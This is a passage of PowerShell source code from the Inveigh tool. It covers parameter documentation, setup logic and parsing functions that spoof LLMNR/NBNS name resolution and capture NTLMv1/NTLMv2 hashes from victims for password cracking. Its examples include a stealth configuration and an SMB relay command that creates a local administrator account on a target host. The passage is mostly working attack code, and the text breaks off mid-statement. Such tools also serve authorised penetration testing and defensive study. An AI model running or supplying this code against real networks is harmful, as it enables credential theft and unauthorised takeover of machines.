-Types include 00 = Workstation Service, 03 = Messenger Service, 20 = Server Service, 1B = Domain Name - -.PARAMETER HTTP -Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture. - -.PARAMETER HTTPS -Default = Disabled: (Y/N) Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in -the local store and attached to port 443. If the script does not exit gracefully, execute -"netsh http delete sslcert ipport=0.0.0.0:443" and manually remove the certificate from "Local Computer\Personal" -in the cert store. - -.PARAMETER HTTPAuth -Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type. This setting does not -apply to wpad.dat requests. - -.PARAMETER HTTPBasicRealm -Specify a realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth. - -.PARAMETER HTTPDir -Specify a full directory path to enable hosting of basic content through the HTTP/HTTPS listener. - -.PARAMETER HTTPDefaultFile -Specify a filename within the HTTPDir to serve as the default HTTP/HTTPS response file. This file will not be used -for wpad.dat requests. - -.PARAMETER HTTPDefaultEXE -Specify an EXE filename within the HTTPDir to serve as the default HTTP/HTTPS response for EXE requests. - -.PARAMETER HTTPResponse -Specify a string or HTML to serve as the default HTTP/HTTPS response. This response will not be used for wpad.dat -requests. This parameter will not be used if HTTPDir is set. Use PowerShell character escapes where necessary. - -.PARAMETER HTTPSCertAppID -Specify a valid application GUID for use with the ceriticate. - -.PARAMETER HTTPSCertThumbprint -Specify a certificate thumbprint for use with a custom certificate. The certificate filename must be located in -the current working directory and named Inveigh.pfx. - -.PARAMETER WPADAuth -Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type for wpad.dat requests. -Setting to Anonymous can prevent browser login prompts. - -.PARAMETER WPADEmptyFile -Default = Enabled: (Y/N) Enable/Disable serving a proxyless, all direct, wpad.dat file for wpad.dat requests. -Enabling this setting can reduce the amount of redundant wpad.dat requests. This parameter is ignored when -using WPADIP, WPADPort, or WPADResponse. - -.PARAMETER WPADIP -Specify a proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter -must be used with WPADPort. - -.PARAMETER WPADPort -Specify a proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter -must be used with WPADIP. - -.PARAMETER WPADDirectHosts -Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the -defined proxy. - -.PARAMETER WPADResponse -Specify wpad.dat file contents to serve as the wpad.dat response. This parameter will not be used if WPADIP and -WPADPort are set. Use PowerShell character escapes where necessary. - -.PARAMETER SMB -Default = Enabled: (Y/N) Enable/Disable SMB challenge/response capture. Warning, LLMNR/NBNS spoofing can still -direct targets to the host system's SMB server. Block TCP ports 445/139 or kill the SMB services if you need to -prevent login requests from being processed by the Inveigh host. - -.PARAMETER Challenge -Default = Random: Specify a 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a -random challenge will be generated for each request. This will only be used for non-relay captures. - -.PARAMETER MachineAccounts -Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response captures from machine accounts. - -.PARAMETER SMBRelay -Default = Disabled: (Y/N) Enable/Disable SMB relay. Note that Inveigh-Relay.ps1 must be loaded into memory. - -.PARAMETER SMBRelayTarget -IP address of system to target for SMB relay. - -.PARAMETER SMBRelayCommand -Command to execute on SMB relay target. - -.PARAMETER SMBRelayUsernames -Default = All Usernames: Comma separated list of usernames to use for relay attacks. Accepts both username and -domain\username format. - -.PARAMETER SMBRelayAutoDisable -Default = Enable: (Y/N) Automaticaly disable SMB relay after a successful command execution on target. - -.PARAMETER SMBRelayNetworkTimeout -Default = No Timeout: (Integer) Set the duration in seconds that Inveigh will wait for a reply from the SMB relay - target after each packet is sent. - -.PARAMETER ConsoleOutput -Default = Disabled: (Y/N) Enable/Disable real time console output. If using this option through a shell, test to -ensure that it doesn't hang the shell. - -.PARAMETER ConsoleStatus -(Integer) Set interval in minutes for displaying all unique captured hashes and credentials. This is useful for -displaying full capture lists when running through a shell that does not have access to the support functions. - -.PARAMETER ConsoleUnique -Default = Enabled: (Y/N) Enable/Disable displaying challenge/response hashes for only unique IP, domain/hostname, -and username combinations when real time console output is enabled. - -.PARAMETER FileOutput -Default = Disabled: (Y/N) Enable/Disable real time file output. - -.PARAMETER FileUnique -Default = Enabled: (Y/N) Enable/Disable outputting challenge/response hashes for only unique IP, domain/hostname, -and username combinations when real time file output is enabled. - -.PARAMETER StatusOutput -Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages. - -.PARAMETER OutputStreamOnly -Default = Disabled: (Y/N) Enable/Disable forcing all output to the standard output stream. This can be helpful if -running Inveigh through a shell that does not return other output streams.Note that you will not see the various -yellow warning messages if enabled. - -.PARAMETER OutputDir -Default = Working Directory: Set a valid path to an output directory for log and capture files. FileOutput must -also be enabled. - -.PARAMETER RunTime -(Integer) Set the run time duration in minutes. - -.PARAMETER ShowHelp -Default = Enabled: (Y/N) Enable/Disable the help messages at startup. - -.PARAMETER Inspect -(Switch) Disable LLMNR, NBNS, HTTP, HTTPS, and SMB in order to only inspect LLMNR/NBNS traffic. - -.PARAMETER Tool -Default = 0: (0,1,2) Enable/Disable features for better operation through external tools such as Metasploit's -Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire - -.EXAMPLE -Import-Module .\Inveigh.psd1;Invoke-Inveigh -Import full module and execute with all default settings. - -.EXAMPLE -. ./Inveigh.ps1;Invoke-Inveigh -IP 192.168.1.10 -Dot source load and execute specifying a specific local listening/spoofing IP. - -.EXAMPLE -Invoke-Inveigh -IP 192.168.1.10 -HTTP N -Execute specifying a specific local listening/spoofing IP and disabling HTTP challenge/response. - -.EXAMPLE -Invoke-Inveigh -SpooferRepeat N -WPADAuth Anonymous -SpooferHostsReply host1,host2 -SpooferIPsReply 192.168.2.75,192.168.2.76 -Execute with the stealthiest options. - -.EXAMPLE -Invoke-Inveigh -Inspect -Execute with LLMNR, NBNS, SMB, HTTP, and HTTPS disabled in order to only inpect LLMNR/NBNS traffic. - -.EXAMPLE -Invoke-Inveigh -IP 192.168.1.10 -SpooferIP 192.168.2.50 -HTTP N -Execute specifying a specific local listening IP and a LLMNR/NBNS spoofing IP on another subnet. This may be -useful for sending traffic to a controlled Linux system on another subnet. - -.EXAMPLE -Invoke-Inveigh -HTTPResponse "" -Execute specifying an HTTP redirect response. - -.EXAMPLE -Invoke-Inveigh -SMBRelay y -SMBRelayTarget 192.168.2.55 -SMBRelayCommand "net user Dave Spring2016 /add && net localgroup administrators Dave /add" -Execute with SMB relay enabled with a command that will create a local administrator account on the SMB relay -target. - -.NOTES -1. An elevated administrator or SYSTEM shell is needed. -2. Currently supports IPv4 LLMNR/NBNS spoofing and HTTP/HTTPS/SMB NTLMv1/NTLMv2 challenge/response capture. -3. LLMNR/NBNS spoofing is performed through sniffing and sending with raw sockets. -4. SMB challenge/response captures are performed by sniffing over the host system's SMB service. -5. HTTP challenge/response captures are performed with a dedicated listener. -6. The local LLMNR/NBNS services do not need to be disabled on the host system. -7. LLMNR/NBNS spoofer will point victims to host system's SMB service, keep account lockout scenarios in mind. -8. Kerberos should downgrade for SMB authentication due to spoofed hostnames not being valid in DNS. -9. Ensure that the LMMNR,NBNS,SMB,HTTP ports are open within any local firewall on the host system. -10. If you copy/paste challenge/response captures from output window for password cracking, remove carriage returns. - -.LINK -https://github.com/Kevin-Robertson/Inveigh -#> - -# Parameter default values can be modified in this section: -[CmdletBinding()] -param -( - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTP="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTPS="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SMB="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$LLMNR="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$NBNS="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SpooferRepeat="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ConsoleOutput="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ConsoleUnique="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileOutput="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileUnique="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$StatusOutput="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$OutputStreamOnly="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$MachineAccounts="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ShowHelp="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SMBRelay="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SMBRelayAutoDisable="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$WPADEmptyFile="Y", - [parameter(Mandatory=$false)][ValidateSet("0","1","2")][String]$Tool="0", - [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM")][String]$HTTPAuth="NTLM", - [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM")][String]$WPADAuth="NTLM", - [parameter(Mandatory=$false)][ValidateSet("00","03","20","1B","1C","1D","1E")][Array]$NBNSTypes=@("00","20"), - [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$IP="", - [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$SpooferIP="", - [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$WPADIP = "", - [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$SMBRelayTarget ="", - [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$HTTPDir="", - [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$OutputDir="", - [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][String]$Challenge="", - [parameter(Mandatory=$false)][Array]$SpooferHostsReply="", - [parameter(Mandatory=$false)][Array]$SpooferHostsIgnore="", - [parameter(Mandatory=$false)][Array]$SpooferIPsReply="", - [parameter(Mandatory=$false)][Array]$SpooferIPsIgnore="", - [parameter(Mandatory=$false)][Array]$SMBRelayUsernames="", - [parameter(Mandatory=$false)][Array]$WPADDirectHosts="", - [parameter(Mandatory=$false)][Int]$ConsoleStatus="", - [parameter(Mandatory=$false)][Int]$LLMNRTTL="30", - [parameter(Mandatory=$false)][Int]$NBNSTTL="165", - [parameter(Mandatory=$false)][Int]$WPADPort="", - [parameter(Mandatory=$false)][Int]$RunTime="", - [parameter(Mandatory=$false)][Int]$SMBRelayNetworkTimeout="", - [parameter(Mandatory=$false)][String]$HTTPBasicRealm="IIS", - [parameter(Mandatory=$false)][String]$HTTPDefaultFile="", - [parameter(Mandatory=$false)][String]$HTTPDefaultEXE="", - [parameter(Mandatory=$false)][String]$HTTPResponse="", - [parameter(Mandatory=$false)][String]$HTTPSCertAppID="00112233-4455-6677-8899-AABBCCDDEEFF", - [parameter(Mandatory=$false)][String]$HTTPSCertThumbprint="98c1d54840c5c12ced710758b6ee56cc62fa1f0d", - [parameter(Mandatory=$false)][String]$WPADResponse="", - [parameter(Mandatory=$false)][String]$SMBRelayCommand="", - [parameter(Mandatory=$false)][Switch]$Inspect, - [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter -) - -if ($invalid_parameter) -{ - throw "$($invalid_parameter) is not a valid parameter." -} - -if(!$IP) -{ - $IP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) -} - -if(!$SpooferIP) -{ - $SpooferIP = $IP -} - -if($SMBRelay -eq 'Y') -{ - - if(!$SMBRelayTarget) - { - throw "You must specify an -SMBRelayTarget if enabling -SMBRelay" - } - - if(!$SMBRelayCommand) - { - throw "You must specify an -SMBRelayCommand if enabling -SMBRelay" - } - - if($Challenge -or $HTTPDefaultFile -or $HTTPDefaultEXE -or $HTTPResponse -or $WPADIP -or $WPADPort -or $WPADResponse) - { - throw "-Challenge -HTTPDefaultFile, -HTTPDefaultEXE, -HTTPResponse, -WPADIP, -WPADPort, and -WPADResponse can not be used when enabling -SMBRelay" - } - elseif($HTTPAuth -ne 'NTLM' -or $WPADAuth -eq 'Basic') - { - throw "Only -HTTPAuth NTLM, -WPADAuth NTLM, and -WPADAuth Anonymous can be used when enabling -SMBRelay" - } - -} - -if($HTTPDefaultFile -or $HTTPDefaultEXE) -{ - - if(!$HTTPDir) - { - throw "You must specify an -HTTPDir when using either -HTTPDefaultFile or -HTTPDefaultEXE" - } - -} - -if($WPADIP -or $WPADPort) -{ - - if(!$WPADIP) - { - throw "You must specify a -WPADPort to go with -WPADIP" - } - - if(!$WPADPort) - { - throw "You must specify a -WPADIP to go with -WPADPort" - } - -} - -if(!$OutputDir) -{ - $output_directory = $PWD.Path -} -else -{ - $output_directory = $OutputDir -} - -if(!$inveigh) -{ - $global:inveigh = [HashTable]::Synchronized(@{}) - $inveigh.log = New-Object System.Collections.ArrayList - $inveigh.NTLMv1_list = New-Object System.Collections.ArrayList - $inveigh.NTLMv1_username_list = New-Object System.Collections.ArrayList - $inveigh.NTLMv2_list = New-Object System.Collections.ArrayList - $inveigh.NTLMv2_username_list = New-Object System.Collections.ArrayList - $inveigh.cleartext_list = New-Object System.Collections.ArrayList - $inveigh.IP_capture_list = New-Object System.Collections.ArrayList - $inveigh.SMBRelay_failed_list = New-Object System.Collections.ArrayList -} - -if($inveigh.running) -{ - throw "Invoke-Inveigh is already running, use Stop-Inveigh" -} -elseif($inveigh.relay_running) -{ - throw "Invoke-InveighRelay is already running, use Stop-Inveigh" -} - -$inveigh.sniffer_socket = $null - -if($inveigh.HTTP_listener.IsListening) -{ - $inveigh.HTTP_listener.Stop() - $inveigh.HTTP_listener.Close() -} - -$inveigh.console_queue = New-Object System.Collections.ArrayList -$inveigh.status_queue = New-Object System.Collections.ArrayList -$inveigh.log_file_queue = New-Object System.Collections.ArrayList -$inveigh.NTLMv1_file_queue = New-Object System.Collections.ArrayList -$inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList -$inveigh.cleartext_file_queue = New-Object System.Collections.ArrayList -$inveigh.certificate_application_ID = $HTTPSCertAppID -$inveigh.certificate_thumbprint = $HTTPSCertThumbprint -$inveigh.HTTP_challenge_queue = New-Object System.Collections.ArrayList -$inveigh.console_output = $false -$inveigh.console_input = $true -$inveigh.file_output = $false -$inveigh.log_out_file = $output_directory + "\Inveigh-Log.txt" -$inveigh.NTLMv1_out_file = $output_directory + "\Inveigh-NTLMv1.txt" -$inveigh.NTLMv2_out_file = $output_directory + "\Inveigh-NTLMv2.txt" -$inveigh.cleartext_out_file = $output_directory + "\Inveigh-Cleartext.txt" -$inveigh.HTTP_response = $HTTPResponse -$inveigh.HTTP_directory = $HTTPDir -$inveigh.HTTP_default_file = $HTTPDefaultFile -$inveigh.HTTP_default_exe = $HTTPDefaultEXE -$inveigh.WPAD_response = $WPADResponse -$inveigh.challenge = $Challenge -$inveigh.running = $true - -if($StatusOutput -eq 'Y') -{ - $inveigh.status_output = $true -} -else -{ - $inveigh.status_output = $false -} - -if($OutputStreamOnly -eq 'Y') -{ - $inveigh.output_stream_only = $true -} -else -{ - $inveigh.output_stream_only = $false -} - -if($Inspect) -{ - $LLMNR = "N" - $NBNS = "N" - $HTTP = "N" - $HTTPS = "N" - $SMB = "N" -} - -if($Tool -eq 1) # Metasploit Interactive PowerShell -{ - $inveigh.tool = 1 - $inveigh.output_stream_only = $true - $inveigh.newline = "" - $ConsoleOutput = "N" -} -elseif($Tool -eq 2) # PowerShell Empire -{ - $inveigh.tool = 2 - $inveigh.output_stream_only = $true - $inveigh.console_input = $false - $inveigh.newline = "`n" - $ConsoleOutput = "Y" - $ShowHelp = "N" -} -else -{ - $inveigh.tool = 0 - $inveigh.newline = "" -} - -# Write startup messages -$inveigh.status_queue.Add("Inveigh started at $(Get-Date -format 's')") > $null -$inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh started")]) > $null -$inveigh.status_queue.Add("Listening IP Address = $IP") > $null -$inveigh.status_queue.Add("LLMNR/NBNS Spoofer IP Address = $SpooferIP") > $null - -if($LLMNR -eq 'Y') -{ - $inveigh.status_queue.Add("LLMNR Spoofing Enabled") > $null - $inveigh.status_queue.Add("LLMNR TTL = $LLMNRTTL Seconds") > $null - $LLMNR_response_message = "- spoofed response has been sent" -} -else -{ - $inveigh.status_queue.Add("LLMNR Spoofing Disabled") > $null - $LLMNR_response_message = "- LLMNR spoofing is disabled" -} - -if($NBNS -eq 'Y') -{ - $NBNSTypes_output = $NBNSTypes -join "," - - if($NBNSTypes.Count -eq 1) - { - $inveigh.status_queue.Add("NBNS Spoofing Of Type $NBNSTypes_output Enabled") > $null - } - else - { - $inveigh.status_queue.Add("NBNS Spoofing Of Types $NBNSTypes_output Enabled") > $null - } - - $inveigh.status_queue.Add("NBNS TTL = $NBNSTTL Seconds") > $null - $NBNS_response_message = "- spoofed response has been sent" -} -else -{ - $inveigh.status_queue.Add("NBNS Spoofing Disabled") > $null - $NBNS_response_message = "- NBNS spoofing is disabled" -} - -if($SpooferHostsReply -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) -{ - $inveigh.status_queue.Add("Spoofing requests for " + $SpooferHostsReply -join ",") > $null -} - -if($SpooferHostsIgnore -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) -{ - $inveigh.status_queue.Add("Ignoring requests for " + $SpooferHostsIgnore -join ",") > $null -} - -if($SpooferIPsReply -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) -{ - $inveigh.status_queue.Add("Spoofing requests from " + $SpooferIPsReply -join ",") > $null -} - -if($SpooferIPsIgnore -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) -{ - $inveigh.status_queue.Add("Ignoring requests from " + $SpooferIPsIgnore -join ",") > $null -} - -if($SpooferRepeat -eq 'N') -{ - $inveigh.spoofer_repeat = $false - $inveigh.status_queue.Add("Spoofer Repeating Disabled") > $null -} -else -{ - $inveigh.spoofer_repeat = $true -} - -if($SMB -eq 'Y') -{ - $inveigh.status_queue.Add("SMB Capture Enabled") > $null -} -else -{ - $inveigh.status_queue.Add("SMB Capture Disabled") > $null -} - -if($HTTP -eq 'Y') -{ - $inveigh.HTTP = $true - $inveigh.status_queue.Add("HTTP Capture Enabled") > $null -} -else -{ - $inveigh.HTTP = $false - $inveigh.status_queue.Add("HTTP Capture Disabled") > $null -} - -if($HTTPS -eq 'Y') -{ - - try - { - $inveigh.HTTPS = $true - $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") - $certificate_store.Open('ReadWrite') - $certificate = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 - $certificate.Import($PWD.Path + "\Inveigh.pfx") - $certificate_store.Add($certificate) - $certificate_store.Close() - $netsh_certhash = "certhash=" + $inveigh.certificate_thumbprint - $netsh_app_ID = "appid={" + $inveigh.certificate_application_ID + "}" - $netsh_arguments = @("http","add","sslcert","ipport=0.0.0.0:443",$netsh_certhash,$netsh_app_ID) - & "netsh" $netsh_arguments > $null - $inveigh.status_queue.Add("HTTPS Capture Enabled") > $null - } - catch - { - $certificate_store.Close() - $HTTPS="N" - $inveigh.HTTPS = $false - $inveigh.status_queue.Add("HTTPS Capture Disabled Due To Certificate Install Error") > $null - } - -} -else -{ - $inveigh.status_queue.Add("HTTPS Capture Disabled") > $null -} - -if($inveigh.HTTP -or $inveigh.HTTPS) -{ - $inveigh.status_queue.Add("HTTP/HTTPS Authentication = $HTTPAuth") > $null - $inveigh.status_queue.Add("WPAD Authentication = $WPADAuth") > $null - - if($HTTPDir -and !$HTTPResponse) - { - $inveigh.status_queue.Add("HTTP/HTTPS Directory = $HTTPDir") > $null - - if($HTTPDefaultFile) - { - $inveigh.status_queue.Add("HTTP/HTTPS Default Response File = $HTTPDefaultFile") > $null - } - - if($HTTPDefaultEXE) - { - $inveigh.status_queue.Add("HTTP/HTTPS Default Response Executable = $HTTPDefaultEXE") > $null - } - - } - - if($HTTPResponse) - { - $inveigh.status_queue.Add("HTTP/HTTPS Custom Response Enabled") > $null - } - - if($HTTPAuth -eq 'Basic' -or $WPADAuth -eq 'Basic') - { - $inveigh.status_queue.Add("Basic Authentication Realm = $HTTPBasicRealm") > $null - } - - if($WPADIP -and $WPADPort) - { - $inveigh.status_queue.Add("WPAD Response Enabled") > $null - $inveigh.status_queue.Add("WPAD = $WPADIP`:$WPADPort") > $null - - if($WPADDirectHosts) - { - ForEach($WPAD_direct_host in $WPADDirectHosts) - { - $WPAD_direct_hosts_function += 'if (dnsDomainIs(host, "' + $WPAD_direct_host + '")) return "DIRECT";' - } - - $inveigh.WPAD_response = "function FindProxyForURL(url,host){" + $WPAD_direct_hosts_function + "return `"PROXY " + $WPADIP + ":" + $WPADPort + "`";}" - $inveigh.status_queue.Add("WPAD Direct Hosts = " + $WPADDirectHosts -join ",") > $null - } - else - { - $inveigh.WPAD_response = "function FindProxyForURL(url,host){return `"PROXY " + $WPADIP + ":" + $WPADPort + "`";}" - } - - } - elseif($WPADResponse -and !$WPADIP -and !$WPADPort) - { - $inveigh.status_queue.Add("WPAD Custom Response Enabled") > $null - $inveigh.WPAD_response = $WPADResponse - } - else - { - if($WPADEmptyFile -eq 'Y') - { - $inveigh.status_queue.Add("WPAD Default Response Enabled") > $null - $inveigh.WPAD_response = "function FindProxyForURL(url,host){return `"DIRECT`";}" - } - } - - if($Challenge) - { - $inveigh.status_queue.Add("NTLM Challenge = $Challenge") > $null - } - -} - -if($MachineAccounts -eq 'N') -{ - $inveigh.status_queue.Add("Ignoring Machine Accounts") > $null - $inveigh.machine_accounts = $false -} -else -{ - $inveigh.machine_accounts = $true -} - -if($ConsoleOutput -eq 'Y') -{ - $inveigh.status_queue.Add("Real Time Console Output Enabled") > $null - $inveigh.console_output = $true - - if($ConsoleStatus -eq 1) - { - $inveigh.status_queue.Add("Console Status = $ConsoleStatus Minute") > $null - } - elseif($ConsoleStatus -gt 1) - { - $inveigh.status_queue.Add("Console Status = $ConsoleStatus Minutes") > $null - } - -} -else -{ - - if($inveigh.tool -eq 1) - { - $inveigh.status_queue.Add("Real Time Console Output Disabled Due To External Tool Selection") > $null - } - else - { - $inveigh.status_queue.Add("Real Time Console Output Disabled") > $null - } - -} - -if($ConsoleUnique -eq 'Y') -{ - $inveigh.console_unique = $true -} -else -{ - $inveigh.console_unique = $false -} - -if($FileOutput -eq 'Y') -{ - $inveigh.status_queue.Add("Real Time File Output Enabled") > $null - $inveigh.status_queue.Add("Output Directory = $output_directory") > $null - $inveigh.file_output = $true -} -else -{ - $inveigh.status_queue.Add("Real Time File Output Disabled") > $null -} - -if($FileUnique -eq 'Y') -{ - $inveigh.file_unique = $true -} -else -{ - $inveigh.file_unique = $false -} - -if($RunTime -eq 1) -{ - $inveigh.status_queue.Add("Run Time = $RunTime Minute") > $null -} -elseif($RunTime -gt 1) -{ - $inveigh.status_queue.Add("Run Time = $RunTime Minutes") > $null -} - -if($SMBRelay -eq 'N') -{ - - if($ShowHelp -eq 'Y') - { - $inveigh.status_queue.Add("Use Get-Command -Noun Inveigh* to show available functions") > $null - $inveigh.status_queue.Add("Run Stop-Inveigh to stop Inveigh") > $null - - if($inveigh.console_output) - { - $inveigh.status_queue.Add("Press any key to stop real time console output") > $null - } - - } - - if($inveigh.status_output) - { - - while($inveigh.status_queue.Count -gt 0) - { - - if($inveigh.output_stream_only) - { - Write-Output($inveigh.status_queue[0] + $inveigh.newline) - $inveigh.status_queue.RemoveRange(0,1) - } - else - { - - switch ($inveigh.status_queue[0]) - { - - "Run Stop-Inveigh to stop Inveigh" - { - Write-Warning($inveigh.status_queue[0]) - $inveigh.status_queue.RemoveRange(0,1) - } - - default - { - Write-Output($inveigh.status_queue[0]) - $inveigh.status_queue.RemoveRange(0,1) - } - - } - - } - - } - - } -} -else -{ - try - { - Invoke-InveighRelay -HTTP $HTTP -HTTPS $HTTPS -HTTPSCertAppID $HTTPSCertAppID -HTTPSCertThumbprint $HTTPSCertThumbprint -WPADAuth $WPADAuth -SMBRelayTarget $SMBRelayTarget -SMBRelayUsernames $SMBRelayUsernames -SMBRelayAutoDisable $SMBRelayAutoDisable -SMBRelayNetworkTimeout $SMBRelayNetworkTimeout -SMBRelayCommand $SMBRelayCommand -Tool $Tool -ShowHelp $ShowHelp - } - catch - { - $inveigh.running = $false - throw "Invoke-InveighRelay is not loaded" - } -} - -# Begin ScriptBlocks - -# Shared Basic Functions ScriptBlock -$shared_basic_functions_scriptblock = -{ - function DataToUInt16($field) - { - [Array]::Reverse($field) - return [System.BitConverter]::ToUInt16($field,0) - } - - function DataToUInt32($field) - { - [Array]::Reverse($field) - return [System.BitConverter]::ToUInt32($field,0) - } - - function DataLength - { - param ([Int]$length_start,[Byte[]]$string_extract_data) - - $string_length = [System.BitConverter]::ToInt16($string_extract_data[$length_start..($length_start + 1)],0) - return $string_length - } - - function DataToString - { - param ([Int]$string_length,[Int]$string2_length,[Int]$string3_length,[Int]$string_start,[Byte[]]$string_extract_data) - - $string_data = [System.BitConverter]::ToString($string_extract_data[($string_start+$string2_length+$string3_length)..($string_start+$string_length+$string2_length+$string3_length - 1)]) - $string_data = $string_data -replace "-00","" - $string_data = $string_data.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $string_extract = New-Object System.String ($string_data,0,$string_data.Length) - return $string_extract - } -} - -# SMB NTLM Functions ScriptBlock - function for parsing NTLM challenge/response -$SMB_NTLM_functions_scriptblock = -{ - - function SMBNTLMChallenge - { - param ([Byte[]]$payload_bytes) - - $payload = [System.BitConverter]::ToString($payload_bytes) - $payload = $payload -replace "-","" - $NTLM_index = $payload.IndexOf("4E544C4D53535000") - - if($payload.SubString(($NTLM_index + 16),8) -eq "02000000") - { - $NTLM_challenge = $payload.SubString(($NTLM_index + 48),16) - } - - return $NTLM_challenge - } - - function SMBNTLMResponse - { - param ([Byte[]]$payload_bytes) - - $payload = [System.BitConverter]::ToString($payload_bytes) - $payload = $payload -replace "-","" - $NTLM_index = $payload.IndexOf("4E544C4D53535000") - $NTLM_bytes_index = $NTLM_index / 2 - - if($payload.SubString(($NTLM_index + 16),8) -eq "03000000") - { - $LM_length = DataLength ($NTLM_bytes_index + 12) $payload_bytes - $LM_offset = $payload_bytes[($NTLM_bytes_index + 16)] - - if($LM_length -ge 24) - { - $NTLM_length = DataLength ($NTLM_bytes_index + 20) $payload_bytes - $NTLM_offset = $payload_bytes[($NTLM_bytes_index + 24)] - $NTLM_domain_length = DataLength ($NTLM_bytes_index + 28) $payload_bytes - $NTLM_domain_offset = DataLength ($NTLM_bytes_index + 32) $payload_bytes - $NTLM_domain_string = DataToString $NTLM_domain_length 0 0 ($NTLM_bytes_index + $NTLM_domain_offset) $payload_bytes - $NTLM_user_length = DataLength ($NTLM_bytes_index + 36) $payload_bytes - $NTLM_user_string = DataToString $NTLM_user_length $NTLM_domain_length 0 ($NTLM_bytes_index + $NTLM_domain_offset) $payload_bytes - $NTLM_host_length = DataLength ($NTLM_bytes_index + 44) $payload_bytes - $NTLM_host_string = DataToString $NTLM_host_length $NTLM_user_length $NTLM_domain_length ($NTLM_bytes_index + $NTLM_domain_offset) $payload_bytes - - if(([System.BitConverter]::ToString($payload_bytes[($NTLM_bytes_index + $LM_offset)..($NTLM_bytes_index + $LM_offset + $LM_length - 1)]) -replace "-","") -eq ("00" * $LM_length)) - { - $NTLMv2_response = [System.BitConverter]::ToString($payload_bytes[($NTLM_bytes_index + $NTLM_offset)..($NTLM_bytes_index + $NTLM_offset + $NTLM_length - 1)]) -replace "-","" - $NTLMv2_response = $NTLMv2_response.Insert(32,':') - $NTLMv2_hash = $NTLM_user_string + "::" + $NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLMv2_response - - if($source_IP -ne $IP -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $NTLM_user_string.EndsWith('$')))) - { - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB NTLMv2 challenge/response for $NTLM_domain_string\$NTLM_user_string captured from $source_IP($NTLM_host_string)")]) - $inveigh.NTLMv2_list.Add($NTLMv2_hash) - - if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv2_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string")) - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - SMB NTLMv2 challenge/response captured from $source_IP($NTLM_host_string):`n$NTLMv2_hash") - } - else - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - SMB NTLMv2 challenge/response captured from $source_IP($NTLM_host_string) for $NTLM_domain_string\$NTLM_user_string - not unique") - } - - if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv2_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string"))) - { - $inveigh.NTLMv2_file_queue.Add($NTLMv2_hash) - $inveigh.console_queue.Add("SMB NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) - } - - if($inveigh.NTLMv2_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string") - { - $inveigh.NTLMv2_username_list.Add("$source_IP $NTLM_domain_string\$NTLM_user_string") - } - - } - - } - else - { - $NTLMv1_response = [System.BitConverter]::ToString($payload_bytes[($NTLM_bytes_index + $LM_offset)..($NTLM_bytes_index + $LM_offset + $NTLM_length + $LM_length - 1)]) -replace "-","" - $NTLMv1_response = $NTLMv1_response.Insert(48,':') - $NTLMv1_hash = 